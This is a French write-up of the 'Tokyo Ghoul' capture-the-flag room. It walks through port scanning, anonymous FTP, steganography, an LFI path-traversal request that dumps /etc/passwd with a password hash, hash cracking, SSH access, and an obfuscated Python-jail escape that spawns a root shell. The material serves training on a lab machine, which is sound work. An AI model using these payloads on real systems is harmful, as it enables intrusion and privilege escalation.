Tokyo Ghoul
Introduction
Section intitulée « Introduction »Voici la description de la Room : ‘‘‘ This room took a lot of inspiration from psychobreak , and it is based on Tokyo Ghoul anime. Alert: This room can contain some spoilers ‘only s1 and s2 ’ so if you are interested to watch the anime, wait till you finish the anime and come back to do the room The machine will take some time, just go grab some water or make a coffee. ‘‘‘
Reconnaissance et énumération des services
Section intitulée « Reconnaissance et énumération des services »Scan de ports avec Nmap
Section intitulée « Scan de ports avec Nmap »Un scan complet des ports ouverts a été réalisé pour identifier les services exposés :
nmap -sS -sV -p- -T5 10.80.161.195Starting Nmap 7.80 ( https://nmap.org ) at 2026-01-14 17:07 GMTmass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-serversmass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-serversNmap scan report for 10.80.161.195Host is up (0.00012s latency).Not shown: 65532 closed portsPORT STATE SERVICE VERSION21/tcp open ftp vsftpd 3.0.322/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)80/tcp open http Apache httpd 2.4.18 ((Ubuntu))Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 9.19 seconds- Le service FTP pourrait contenir des fichiers sensibles. La version est certainement faillible avec un utilisateur
anonymous - Le service HTTP mérite une énumération plus poussée (répertoires, fichiers cachés).
Exploitation du service FTP
Section intitulée « Exploitation du service FTP »Il est effectivement possible de se connecter avec l’utilisateur anonymous et sans mot de passe.
Récupération du binaire need_to_talk
Section intitulée « Récupération du binaire need_to_talk »Un binaire nommé need_to_talk peut être récupéré depuis le serveur FTP. Ce binaire demande un mot de passe. Si on utilise un programme comme strings ou rabin2 on peut trouver des informations :
rabin2 -z need_to_talk[Strings]nth paddr vaddr len size section type string\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u20150 0x00002008 0x00002008 9 10 .rodata ascii kamishiro1 0x00002018 0x00002018 37 38 .rodata ascii Hey Kaneki finnaly you want to talk \n2 0x00002040 0x00002040 82 83 .rodata ascii Unfortunately before I can give you the kagune you need to give me the paraphrase\n3 0x00002098 0x00002098 35 36 .rodata ascii Do you have what I'm looking for?\n\n4 0x000020c0 0x000020c0 47 48 .rodata ascii Good job. I believe this is what you came for:\n5 0x000020f0 0x000020f0 51 52 .rodata ascii Hmm. I don't think this is what I was looking for.\n6 0x00002128 0x00002128 36 37 .rodata ascii Take a look inside of me. rabin2 -z\nOn peut donc essayer le mot de passe kamishiro qui pourrait être une variable définit au début du binaire. Celui-ci nous donne une clé.
Stéganographie et cryptographie
Section intitulée « Stéganographie et cryptographie »Extraction de données cachées dans une image
Section intitulée « Extraction de données cachées dans une image »Une image (You_found_1t.jpg) a été analysée avec steghide :
steghide extract -sf You_found_1t.jpgMot de passe : You_found_1t
Fichier extrait : yougotme.txt (contenant du code Morse).
Déchiffrement du code Morse
Section intitulée « Déchiffrement du code Morse »Le contenu de yougotme.txt peut être facilement déchiffre avec cyberchef, révélant un nouveau mot de passe ou un indice pour la suite de l’exploitation.
Énumération du service HTTP
Section intitulée « Énumération du service HTTP »Recherche de répertoires cachés avec Gobuster
Section intitulée « Recherche de répertoires cachés avec Gobuster »gobuster dir -u http://10.80.161.195/d1r3c70ry_center -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,txt,confOn peut identifier un répertoire /claim.
Exploitation d’une faille LFI (CWE-98)
Section intitulée « Exploitation d’une faille LFI (CWE-98) »Le répertoire /claim contient une vulnérabilité LFI, permettant de lire des fichiers système :
url http://10.80.161.195/d1r3c70ry_center/claim/index.php?view=%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd<html> <head> <link href="https://fonts.googleapis.com/css?family=IBM+Plex+Sans" rel="stylesheet"> <link rel="stylesheet" type="text/css" href="style.css"> </head> <body> <div class="menu"> <a href="index.php">Main Page</a> <a href="index.php?view=flower.gif">NO</a> <a href="index.php?view=flower.gif">YES</a> </div><p>root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologinsystemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/falsesystemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/falsesystemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/falsesystemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/falsesyslog:x:104:108::/home/syslog:/bin/false_apt:x:105:65534::/nonexistent:/bin/falselxd:x:106:65534::/var/lib/lxd/:/bin/falsemessagebus:x:107:111::/var/run/dbus:/bin/falseuuidd:x:108:112::/run/uuidd:/bin/falsednsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/falsestatd:x:110:65534::/var/lib/nfs:/bin/falsesshd:x:111:65534::/var/run/sshd:/usr/sbin/nologinvagrant:x:1000:1000:vagrant,,,:/home/vagrant:/bin/bashvboxadd:x:999:1::/var/run/vboxadd:/bin/falseftp:x:112:118:ftp daemon,,,:/srv/ftp:/bin/falsekamishiro:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:1001:1001:,,,:/home/kamishiro:/bin/bash</p> </body></html>On récupère donc /etc/passwd qui révèle l’utilisateur kamishiro et le hash de son mot de passe.
Cracking du mot de passe de l’utilisateur kamishiro
Section intitulée « Cracking du mot de passe de l’utilisateur kamishiro »Utilisation de John the Ripper
Section intitulée « Utilisation de John the Ripper »Le hash du mot de passe de kamishiro a été extrait de /etc/shadow et cracké avec rockyou.txt :
john kamishiro --wordlist=/usr/share/wordlists/rockyou.txtMot de passe trouvé : password123.
Post-Exploitation
Section intitulée « Post-Exploitation »Connexion en tant que kamishiro
Section intitulée « Connexion en tant que kamishiro »ssh kamishiro@10.80.161.195Mot de passe : password123
Vérification des droits sudo
Section intitulée « Vérification des droits sudo »sudo -l- L’utilisateur
kamishiropeut exécuter/usr/bin/python3 /home/kamishiro/jail.pyen tant que root.
Escalade de Privilège
Section intitulée « Escalade de Privilège »Analyse du script
Section intitulée « Analyse du script »Le script jail.py filtre certains mots-clés (eval, exec, import, etc.) mais permet l’exécution de code Python via exec(text).
Contournement des restrictions
Section intitulée « Contournement des restrictions »On construit un payload en obfusquant notre code pour exécuter /bin/bash en tant que root :
__builtins__.__dict__[chr(95)+chr(95)+'impo'+'rt'+chr(95)+chr(95)]('o'+'s').__dict__['sy'+'stem']('/bin/bash')Explication :
chr(95)équivaut à_, doncchr(95)+chr(95)+'impo'+'rt'+chr(95)+chr(95)→__import__.'o'+'s'contourne le filtre suros.'sy'+'stem'contourne le filtre sursystem.
On exécute notre payload :
sudo /usr/bin/python3 /home/kamishiro/jail.py